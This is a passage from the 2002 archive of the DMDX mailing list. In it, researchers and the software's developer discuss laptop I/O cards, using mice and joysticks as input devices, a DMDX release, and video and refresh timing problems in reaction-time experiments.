DMDX@psy1.psych.arizona.edu From: Maarten van Casteren Subject: [DMDX] Pio cards for laptops, Win 2000 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi, Has anyone used the new Computerboards PIO card for laptops yet? The card has recently been changed, it use to be PCM - CARD D24 / CTR 3 but is now called PC - CARD D24 / CTR 3 A small change in name, but the connector has also changed, forcing us to buy quite expensive new cables to connect our button boxes. The question is if someone has experience with these new cards, preferably in Windows 2000. Thanks, Maarten van Casteren >From DMDX-owner@psy1.psych.arizona.edu Mon Dec 2 08:56:34 2002 Received: from breaker.dakotacom.net (breaker.dakotacom.net [66.192.152.146]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gB2FuUMS002841 for ; Mon, 2 Dec 2002 08:56:30 -0700 Received: from anybodyi.u.arizona.edu (uofa-dsl-161.dakotacom.arizona.edu [150.135.175.161]) by breaker.dakotacom.net (8.12.2/x.y.z) with ESMTP id gB2FpKcJ021509 for ; Mon, 2 Dec 2002 08:51:20 -0700 (MST) Message-Id: <5.1.0.14.2.20021202083655.00b129c8@psy1.psych.arizona.edu> Date: Mon, 02 Dec 2002 08:51:14 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Pio cards for laptops, Win 2000 In-Reply-To: <5.1.1.6.0.20021202152013.01c560c0@193.63.253.1> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:25 PM 12/2/2002 +0000, you wrote: >Hi, > >Has anyone used the new Computerboards PIO card for laptops yet? > >The card has recently been changed, it use to be > > PCM - CARD D24 / CTR 3 > >but is now called > > PC - CARD D24 / CTR 3 > >A small change in name, but the connector has also changed, forcing us to >buy quite expensive new cables to connect our button boxes. > >The question is if someone has experience with these new cards, preferably >in Windows 2000. I've setup a laptop for someone that uses that card and it works nicely although it was under winME. Yes, the connectors are expensive but there's no way you could have a DB37 attached to a PCMCIA card anyway. You could just buy the connectors yourself but good luck wiring them up, looked like it required a special multi hundred dollar tool to me. I don't think the connector has changed from it's incarnation as the PCM-CARD-D24/CTR3, the name change is I suspect due to the term PC-CARD supplanting PCMCIA, an acronym that only techs could remember. I don't see why their drivers would be suspect though, they're rock solid under 2k/XP for the other cards. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A great idea needs landing gear, not just wings. >From DMDX-owner@psy1.psych.arizona.edu Mon Dec 2 17:33:25 2002 Received: from mel-rto3.wanadoo.fr (smtp-out-3.wanadoo.fr [193.252.19.233]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gB30WtMS003364 for ; Mon, 2 Dec 2002 17:32:56 -0700 Received: from mel-rta6.wanadoo.fr (193.252.19.26) by mel-rto3.wanadoo.fr (6.5.007) id 3DDA12BC008CC1BF for DMDX@psy1.psych.arizona.edu; Tue, 3 Dec 2002 01:27:39 +0100 Received: from caroline (80.9.171.246) by mel-rta6.wanadoo.fr (6.5.007) id 3DEB71B90005798C for DMDX@psy1.psych.arizona.edu; Tue, 3 Dec 2002 01:27:39 +0100 Message-ID: <001a01c29a63$1a8d41a0$f6ab0950@caroline> From: ""caroline.petit7"" To: Subject: [DMDX] Date: Tue, 3 Dec 2002 01:29:52 +0100 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0017_01C29A6B.7A9D42E0"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list C'est un message de format MIME en plusieurs parties. ------=_NextPart_000_0017_01C29A6B.7A9D42E0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi everybody! I'd like to know if we can use joystick via a USB support and if the PS2 = mouse used as an input device can fit? And what is the SD? ------=_NextPart_000_0017_01C29A6B.7A9D42E0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi everybody! I'd like to know if we can use joystick = via a USB=20 support and if the PS2 mouse used as an input device can = fit? And what is the = SD? ------=_NextPart_000_0017_01C29A6B.7A9D42E0-- >From DMDX-owner@psy1.psych.arizona.edu Mon Dec 2 18:35:54 2002 Received: from breaker.dakotacom.net (breaker.dakotacom.net [66.192.152.146]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gB31ZPMS003469 for ; Mon, 2 Dec 2002 18:35:25 -0700 Received: from anybodyi.u.arizona.edu (uofa-dsl-161.dakotacom.arizona.edu [150.135.175.161]) by breaker.dakotacom.net (8.12.2/x.y.z) with ESMTP id gB31UDce010347; Mon, 2 Dec 2002 18:30:13 -0700 (MST) Message-Id: <5.1.0.14.2.20021202182222.00b129c8@psy1.psych.arizona.edu> Date: Mon, 02 Dec 2002 18:30:07 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: In-Reply-To: <001a01c29a63$1a8d41a0$f6ab0950@caroline> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 01:29 AM 12/3/2002 +0100, you wrote: >Hi everybody! >I'd like to know if we can use joystick via a USB support and if the PS2 >mouse used as an input device can fit? >And what is the SD? Yep, you can use all of the above either together or individually -- be forewarned that mice tend to add together and behave as one device if there are more than one of them plugged into the same machine at the same time (might not under 2k/XP, I can check at work tomorrow). The SD can only be determined on an empirical basis, ie by measuring it on the machine it's going to get used on and that requires test equipment that can press the buttons on the devices at an accurate rate. If however you lack the technical expertise to do so you are welcome to send me one of any of the devices in question and I can benchmark them on one of my machines which will give you a pretty good idea of how the device will perform on your machine -- however I get to keep the devices sent to me ;) /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A great idea needs landing gear, not just wings. >From DMDX-owner@psy1.psych.arizona.edu Tue Dec 3 12:06:13 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gB3IFmMS004403 for ; Tue, 3 Dec 2002 11:15:48 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3DECA7D50000CD9E for DMDX@psy1.psych.arizona.edu; Tue, 3 Dec 2002 11:10:35 -0700 Message-Id: <5.1.0.14.2.20021203110231.00b2dc50@psy1.psych.arizona.edu> Date: Tue, 03 Dec 2002 11:10:35 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] multiple mice Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list The multiple USB mice are still added together and appear as one device in TimeDX on my winXP machine. Oddly enough the winME box sees the PS/2 device separately from the USB one but the USB button presses appear on both devices so it's no particular use. Both machines are using Logitech drivers so perhaps there would be different behavior with raw drivers -- but I'm not betting on it, my understanding is that mice are always added together into one device. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ People will do tomorrow what they did today because that is what they did yesterday. >From DMDX-owner@psy1.psych.arizona.edu Wed Dec 4 16:00:10 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gB4MgSMS006216 for ; Wed, 4 Dec 2002 15:42:28 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3DEE7E6B0000161E for DMDX@psy1.psych.arizona.edu; Wed, 4 Dec 2002 15:37:11 -0700 Message-Id: <5.1.0.14.2.20021204151502.00b133e8@psy1.psych.arizona.edu> Date: Wed, 04 Dec 2002 15:37:10 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] DMDX 3.0.0.13 and TimeDX 3.0.6 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list DMDX 3.0.0.13 and TimeDX 3.0.6 have a minor fix that should iron out display errors that were occurring early on on some machines. They now flush the registry after firing up DirectX as DirectX is prone to writing things to the registry that eventually get flushed to disk at some later date, sometimes as early items are being displayed. More significantly the help finally has an index and is now searchable along with having a favorites tab. It's got an overviews section designed to provide help on aspects of DMDX that aren't really elaborated in one place anywhere else which will probably get expanded over time as topics occur to me. These new features, especially the searchability should make the help file a much easier thing to get information out of. The one cost of all this .CHM help conversion has been the loss of the ability to read the help from the beginning to the end but I don't think very many people ever did that so it's no big loss. All of which pretty much completes the work I had intended to do for version 3 so if you were holding off upgrading till things settled down things will be settling down now. Knocks on wood. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ People will do tomorrow what they did today because that is what they did yesterday. >From DMDX-owner@psy1.psych.arizona.edu Tue Dec 10 10:21:40 2002 Received: from smtp3.wiscmail.wisc.edu (blitzen.doit.wisc.edu [144.92.197.183]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gBAHKfMS013891 for ; Tue, 10 Dec 2002 10:20:41 -0700 Received: from conversion-daemon.smtp3.doit.wisc.edu by smtp3.doit.wisc.edu (iPlanet Messaging Server 5.2 HotFix 1.05 (built Nov 6 2002)) id <0H6W00401X1ZXK@smtp3.doit.wisc.edu> for DMDX@psy1.psych.arizona.edu; Tue, 10 Dec 2002 11:01:13 -0600 (CST) Received: from CurtinOffice (b187.psych.wisc.edu [144.92.195.187]) by smtp3.doit.wisc.edu (iPlanet Messaging Server 5.2 HotFix 1.05 (built Nov 6 2002)) with SMTP id <0H6W00E4AXUZ5Z@smtp3.doit.wisc.edu> for DMDX@psy1.psych.arizona.edu; Tue, 10 Dec 2002 10:59:24 -0600 (CST) Date: Tue, 10 Dec 2002 10:56:31 -0600 From: ""John J. Curtin"" Subject: [DMDX] citation of manuscript To: DMDX@psy1.psych.arizona.edu Message-id: MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Is the manuscript on the timing accuracy of DMDX that is provided on the website in press? If so, does anyone have the citation information? Thanks J John J. Curtin, Ph.D. Assistant Professor of Psychology University of Wisconsin 1202 W. Johnson St. Madison, WI 53706 Office: 608-262-0387 Lab: 608-262-5621 Cell: 608-217-6221 Email: jjcurtin@wisc.edu >From DMDX-owner@psy1.psych.arizona.edu Tue Dec 10 14:03:11 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gBAL2nMS014160 for ; Tue, 10 Dec 2002 14:02:49 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3DF5E22C00015919 for DMDX@psy1.psych.arizona.edu; Tue, 10 Dec 2002 13:57:13 -0700 Message-Id: <5.1.0.14.2.20021210135537.00b133a0@psy1.psych.arizona.edu> Date: Tue, 10 Dec 2002 13:57:12 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: citation of manuscript In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:56 AM 12/10/2002 -0600, you wrote: >Is the manuscript on the timing accuracy of DMDX that is provided on the >website in press? If so, does anyone have the citation information? Forster, K.I., & Forster, J.C. (in press). DMDX: A Windows display program with millisecond accuracy. Behavior Research Methods, Instruments, and Computers. Ken might have more info if you need it. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""The first rule of magic is simple. Don't waste your time waving your hands and hoping when a rock or a club will do."" - McCloctnik the Lucid >From DMDX-owner@psy1.psych.arizona.edu Wed Dec 11 09:37:59 2002 Received: from mail-d.bcc.ac.uk (mail-d.bcc.ac.uk [144.82.100.24]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gBBGbTMS015473 for ; Wed, 11 Dec 2002 09:37:33 -0700 Received: from mail-e.bcc.ac.uk by mail-d.bcc.ac.uk with SMTP (Mailer) with ESMTP; Wed, 11 Dec 2002 16:31:50 +0000 Received: from morpheus (actually host ah7.psychol.ucl.ac.uk) by mail-e.bcc.ac.uk with SMTP (Mailer); Wed, 11 Dec 2002 16:28:33 +0000 Message-Id: <3.0.6.32.20021211163216.02502848@aix-150.ion.ucl.ac.uk> Date: Wed, 11 Dec 2002 16:32:16 +0000 To: DMDX@psy1.psych.arizona.edu From: Antonia Hamilton Subject: [DMDX] video timing issues Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hello, I'm trying to use DMDX to play a video clip and record a reaction time to a beep in the soundtrack of the clip, but I have two problems. First, I generally only get about 140 of my 150 frames played, with several frames dropped near the beginning of the clip. I've got a 2.8Ghz machine from Dell with 528MB RAM and a Nvidia graphics card, but does anyone have any extra tips for improving video performance? Second, and much more important, I'm getting out silly values for my reaction times. When I play the clip ""ball_2112.avi"", where I know that the beep comes exactly 2112 ms into the clip, I get out a reaction time of 2063 (and similar values on every other trial), but I can't be psychic!, so something is going very wrong with timing. I've tried changing the point in the file where the clock starts from to (and other values) with no effect. Here are a couple of lines from my input and output files: ball.rtf file f70 s100 +6 ""get ready""/ ""ball_2112"" / c; ball.azk file ! Played 141 frames of 150 in ball_2112.avi 6 2063.44 Finally, every time I end an experiment, DMDX shows me lots of useful info abut how long it took to load each trial etc in the command window, but I can't cut & paste or save it anywhere for future reference - is that possible? Thank you very much for your help, Antonia. ================================================ Antonia Hamilton Institute of Cognitive Neuroscience Alexandra House, 17 Queen Square London, WC1N 3AR Tel. +44 (0) 20 7679 1138 ================================================ >From DMDX-owner@psy1.psych.arizona.edu Wed Dec 11 10:29:40 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gBBHTPMS015574 for ; Wed, 11 Dec 2002 10:29:25 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.053) id 3DF734CF0000A61B for DMDX@psy1.psych.arizona.edu; Wed, 11 Dec 2002 10:23:47 -0700 Message-Id: <5.1.0.14.2.20021211101123.00b13448@psy1.psych.arizona.edu> Date: Wed, 11 Dec 2002 10:23:45 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: video timing issues In-Reply-To: <3.0.6.32.20021211163216.02502848@aix-150.ion.ucl.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 04:32 PM 12/11/2002 +0000, you wrote: >Hello, > >I'm trying to use DMDX to play a video clip and record a reaction time to a >beep in the soundtrack of the clip, but I have two problems. First, I >generally only get about 140 of my 150 frames played, with several frames >dropped near the beginning of the clip. I've got a 2.8Ghz machine from >Dell with 528MB RAM and a Nvidia graphics card, but does anyone have any >extra tips for improving video performance? The delay is probably from your file system, you could try other digital video file formats but the underlying media is likely to be at fault. You can check if you've already got a 7200RPM IDE disk, if so your only faster option is a SCSI disk. But SCSI will require a controller as well as a new disk all of which will cost you around three times what a IDE disk will cost you. OTOH you could put a few blank frames at the start of the digital video... You could try creating a RAM disk and playing the video from that just to determine if it's the disk or the codec but I don't even know if it's possible to create a RAM disk under windows, it's an old DOS thing. >Second, and much more important, I'm getting out silly values for my >reaction times. When I play the clip ""ball_2112.avi"", where I know that >the beep comes exactly 2112 ms into the clip, I get out a reaction time of >2063 (and similar values on every other trial), but I can't be psychic!, so >something is going very wrong with timing. Perhaps frame 1 doesn't get played until those 9 or ten frames have been dropped or those frames now represent some kind of latency in the codec (which define the meaning of black box). At 30Hz that's 1/3 of a second which is well within human RT latency. > I've tried changing the point >in the file where the clock starts from to (and other >values) with no effect. Here are a couple of lines from my input and >output files: > >ball.rtf file >f70 s100 > >+6 ""get ready""/ ""ball_2112"" / c; > >ball.azk file >! Played 141 frames of 150 in ball_2112.avi > 6 2063.44 > >Finally, every time I end an experiment, DMDX shows me lots of useful info >abut how long it took to load each trial etc in the command window, but I >can't cut & paste or save it anywhere for future reference - is that possible? There's a file produced that has that info, see: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhfilesgenerated.htm /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""The first rule of magic is simple. Don't waste your time waving your hands and hoping when a rock or a club will do."" - McCloctnik the Lucid >From DMDX-owner@psy1.psych.arizona.edu Wed Dec 11 13:41:10 2002 Received: from grilo.ungs.edu.ar (grilo.ungs.edu.ar [170.210.52.3]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gBBKcIMS015773 for ; Wed, 11 Dec 2002 13:38:20 -0700 Received: from client157.campus.ungs.edu.ar ([170.210.53.157] helo=rpage) by grilo.ungs.edu.ar with esmtp (Exim 3.12 #1 (Debian)) id 18MDUx-0005ES-00 for ; Wed, 11 Dec 2002 17:30:27 -0300 From: ""Ricardo Page"" To: DMDX@psy1.psych.arizona.edu Date: Thu, 12 Dec 2002 17:31:40 -2 MIME-Version: 1.0 Subject: [DMDX] ticks in DMDX Message-ID: <3DF8C7FC.8731.297A3238@localhost> Content-type: text/html; charset=US-ASCII Content-transfer-encoding: 7BIT Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi, In Matt Davis FAQ  for DMDX he answers about a way to check the timing in RT experiments. He proposes a script with 300 ticks per item similar to +1 * ""A""//; +2 * ""B""//; 0 ""end""; If DMDX runs unattended the rcot time for item 2 should be the numbers of ticks per item times the number of msec per tick. In his examble 1 tick = 13.33 msec therefore he expected 13.33 * 300=4000 msec. In his properly tuned computer he got rcot=3999. Good!! I tried the same game and got  an azk file with Subject 9, 12/12/2002 16:24:52 on RPAGE, refresh 13.33ms  Item       RT       COT     1  -1300.00      0.00     2  -1300.00   4491.13 Does this mean that the refresh time should be 1 tick = 4491.13/300=14.97 instead of the cuoted refress=13.33ms? The experiment was performed under WinXP. I tried the same thing with a different PC under Win98 and obtained Subject 11, 12/12/2002 17:01:48 on Jorge, refresh 11.70ms  Item       RT       COT     1  -1300.00      0.00     2  -1300.00   3947.76 In this case I find that 1 tick = 3947.76/300=13.1592msec instead of the refresh time of 11.70ms reported in the azk file. My questions therefore are Is the refresh time reported in the azk file really 1 tick? or, is it that I don't perform a correct run of TimeDX tests? What should I try? I am running these experiments with  DMDX ver 3.0.0.11 and TimeDX ver 3.0.05 Thanks a lot Ricardo--- page@ungs.edu.ar Roca 850, San Miguel Bs.As. Argentina >From DMDX-owner@psy1.psych.arizona.edu Wed Dec 11 18:30:07 2002 Received: from breaker.dakotacom.net (breaker.dakotacom.net [66.192.152.146]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gBC1TGMS016072 for ; Wed, 11 Dec 2002 18:29:16 -0700 Received: from anybodyi.u.arizona.edu (uofa-dsl-161.dakotacom.arizona.edu [150.135.175.161]) by breaker.dakotacom.net (8.12.2/x.y.z) with ESMTP id gBC1NaQe004782 for ; Wed, 11 Dec 2002 18:23:36 -0700 (MST) Message-Id: <5.1.0.14.2.20021211182107.00b12968@psy1.psych.arizona.edu> Date: Wed, 11 Dec 2002 18:23:29 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: ticks in DMDX In-Reply-To: <3DF8C7FC.8731.297A3238@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:31 PM 12/12/2002 +00-02, you wrote: >Hi, >In Matt Davis FAQ for DMDX he answers about a way to check the timing in >RT experiments. >He proposes a script with 300 ticks per item similar to > >+1 * ""A""//; >+2 * ""B""//; >0 ""end""; That's a pretty cool test, kudos to Matt. But it needs to have in the parameter line to suppress the feedback as it is the displaying of the feedback that is upsetting your timing. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A great idea needs landing gear, not just wings. >From DMDX-owner@psy1.psych.arizona.edu Thu Dec 12 08:14:08 2002 Received: from mail-d.bcc.ac.uk (mail-d.bcc.ac.uk [144.82.100.24]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gBCFDQMS016888 for ; Thu, 12 Dec 2002 08:13:27 -0700 Received: from mail-e.bcc.ac.uk by mail-d.bcc.ac.uk with SMTP (Mailer) with ESMTP; Thu, 12 Dec 2002 15:07:44 +0000 Received: from morpheus (actually host ah7.psychol.ucl.ac.uk) by mail-e.bcc.ac.uk with SMTP (Mailer); Thu, 12 Dec 2002 15:04:34 +0000 Message-Id: <3.0.6.32.20021212150820.02502848@aix-150.ion.ucl.ac.uk> Date: Thu, 12 Dec 2002 15:08:20 +0000 To: DMDX@psy1.psych.arizona.edu From: Antonia Hamilton Subject: [DMDX] Re: video timing issues In-Reply-To: <5.1.0.14.2.20021211101123.00b13448@psy1.psych.arizona.edu> References: <3.0.6.32.20021211163216.02502848@aix-150.ion.ucl.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list OK, so I haven't got a SCSI drive (just the fastest IDE) and both my movies and the sample mpg drop frames under the video test in TimerDX too, so I guess my system just isn't fast enough. Is there any chance that a future version of DMDX will have the capacity to preload a movie, then specify when to start playing it? So, I'm now using the alternative method of displaying lots of bitmaps in sequence and superimposing a beep where I like, which works fine (at least it looks OK). I was hoping to test the overall timing of each squence by starting the clock before my set of 150 bitmaps and reading the clock at the end, just to assess how reliable the whole thing is. But I can't find a 'read clock' function - is there one? One more query about videos, cos I'm sure I will be using them again in the future - how does the dvclock decide how many frames have elapsed? The 'psychic' reaction time problem I described before wasn't fixed by starting the clock well after the dropped frames, so it is not just a weird problem with the video starting up. My guess is that the dv clock is only counting the frames which have been presented, which means it is starting at the wrong point when frames are dropped - is that right? That means that putting a few blank frames at the start of my clip would make it look nice, but without a lot of extra calculation of how many were dropped each time a clip is played, I don't think I can get an accurate reaction time to the events in the clip. Thanks very much for your help, Antonia. At 10:23 11/12/2002 -0700, you wrote: >At 04:32 PM 12/11/2002 +0000, you wrote: > >>Hello, >> >>I'm trying to use DMDX to play a video clip and record a reaction time to a >>beep in the soundtrack of the clip, but I have two problems. First, I >>generally only get about 140 of my 150 frames played, with several frames >>dropped near the beginning of the clip. I've got a 2.8Ghz machine from >>Dell with 528MB RAM and a Nvidia graphics card, but does anyone have any >>extra tips for improving video performance? > > The delay is probably from your file system, you could try other digital >video file formats but the underlying media is likely to be at fault. You >can check if you've already got a 7200RPM IDE disk, if so your only faster >option is a SCSI disk. But SCSI will require a controller as well as a new >disk all of which will cost you around three times what a IDE disk will >cost you. OTOH you could put a few blank frames at the start of the >digital video... > > You could try creating a RAM disk and playing the video from that just >to determine if it's the disk or the codec but I don't even know if it's >possible to create a RAM disk under windows, it's an old DOS thing. > > >>Second, and much more important, I'm getting out silly values for my >>reaction times. When I play the clip ""ball_2112.avi"", where I know that >>the beep comes exactly 2112 ms into the clip, I get out a reaction time of >>2063 (and similar values on every other trial), but I can't be psychic!, so >>something is going very wrong with timing. > > Perhaps frame 1 doesn't get played until those 9 or ten frames have been >dropped or those frames now represent some kind of latency in the codec >(which define the meaning of black box). At 30Hz that's 1/3 of a second >which is well within human RT latency. > >> I've tried changing the point >>in the file where the clock starts from to (and other >>values) with no effect. Here are a couple of lines from my input and >>output files: >> >>ball.rtf file >>f70 s100 >> >>+6 ""get ready""/ ""ball_2112"" / c; >> >>ball.azk file >>! Played 141 frames of 150 in ball_2112.avi >> 6 2063.44 >> >>Finally, every time I end an experiment, DMDX shows me lots of useful info >>abut how long it took to load each trial etc in the command window, but I >>can't cut & paste or save it anywhere for future reference - is that possible? > > There's a file produced that has that info, see: > >http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhfilesgenerated.htm > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > >""The first rule of magic is simple. Don't waste your time waving your >hands and hoping when a rock or a club will do."" > > - McCloctnik the Lucid > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > > ================================================ Antonia Hamilton Institute of Cognitive Neuroscience Alexandra House, 17 Queen Square London, WC1N 3AR Tel. +44 (0) 20 7679 1138 ================================================ >From DMDX-owner@psy1.psych.arizona.edu Thu Dec 12 09:00:57 2002 Received: from breaker.dakotacom.net (breaker.dakotacom.net [66.192.152.146]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gBCG0WMS017004 for ; Thu, 12 Dec 2002 09:00:33 -0700 Received: from anybodyi.u.arizona.edu (uofa-dsl-161.dakotacom.arizona.edu [150.135.175.161]) by breaker.dakotacom.net (8.12.2/x.y.z) with ESMTP id gBCFsoQe027978 for ; Thu, 12 Dec 2002 08:54:51 -0700 (MST) Message-Id: <5.1.0.14.2.20021212083615.00b12968@psy1.psych.arizona.edu> Date: Thu, 12 Dec 2002 08:54:45 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: video timing issues In-Reply-To: <3.0.6.32.20021212150820.02502848@aix-150.ion.ucl.ac.uk> References: <5.1.0.14.2.20021211101123.00b13448@psy1.psych.arizona.edu> <3.0.6.32.20021211163216.02502848@aix-150.ion.ucl.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:08 PM 12/12/2002 +0000, you wrote: >OK, so I haven't got a SCSI drive (just the fastest IDE) and both my movies >and the sample mpg drop frames under the video test in TimerDX too, so I >guess my system just isn't fast enough. Is there any chance that a future >version of DMDX will have the capacity to preload a movie, then specify >when to start playing it? No, not unless Microsoft add that feature to their stuff. If I were you I'd try a number of different codecs, .AVI, .MPG, and so on. They will all perform very differently. Also, why can't you add a number of filler frames to the start of the digital video? >So, I'm now using the alternative method of displaying lots of bitmaps in >sequence and superimposing a beep where I like, which works fine (at least >it looks OK). I was hoping to test the overall timing of each squence by >starting the clock before my set of 150 bitmaps and reading the clock at >the end, just to assess how reliable the whole thing is. But I can't find >a 'read clock' function - is there one? If there aren't any timing errors reported in the .AZK or diagnostic files there are no errors. If you don't trust that there's no reason to trust anything else the program might report so building some external test equipment is the only option. But of course, then you've got to trust the test equipment... >One more query about videos, cos I'm sure I will be using them again in the >future - how does the dvclock decide how many frames have elapsed? Before the digital video is played the time in the sequence that the clockon frame would be played is calculated by asking the codec for the duration of a frame. As the frames are playing each frame is queried for the timestamp of that frame, if it's at or beyond the clockon time the clock is turned on. So we're at the mercy of the codec, if it's got built lag and so forth there's not a lot we can do except fudge it -- in your case by adding a number of frames at the start of the video. I never built any latency calculations into the DV stuff like the sound stuff has in it. > The >'psychic' reaction time problem I described before wasn't fixed by starting >the clock well after the dropped frames, It would have to be fixed by turning the clock on early. > so it is not just a weird problem >with the video starting up. My guess is that the dv clock is only counting >the frames which have been presented, which means it is starting at the >wrong point when frames are dropped - is that right? No, it's likely to be latency in the codec, if it's a high compression codec then it probably needs a number of frames before it can deliver anything. It's all smoke and mirrors. > That means that >putting a few blank frames at the start of my clip would make it look nice, >but without a lot of extra calculation of how many were dropped each time a >clip is played, I don't think I can get an accurate reaction time to the >events in the clip. That's my recommendation with respect to digital video full stop, forget about accurate or reliable timing, it's all best guess stuff. OTOH, I'd be surprised if there was much variability between one clip starting and another, esp. with a 2.8GHz P4. Try an .AVI file format, there's no compression so while a lot more data has to be read and moved there's less likely to be weird shenanigans played by the codec. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A great idea needs landing gear, not just wings. >From DMDX-owner@psy1.psych.arizona.edu Thu Dec 12 15:31:04 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gBCMJNMS017569 for ; Thu, 12 Dec 2002 15:19:23 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3DF8852B0001A811 for DMDX@psy1.psych.arizona.edu; Thu, 12 Dec 2002 15:13:41 -0700 Message-Id: <5.1.0.14.2.20021212150245.00b133b8@psy1.psych.arizona.edu> Date: 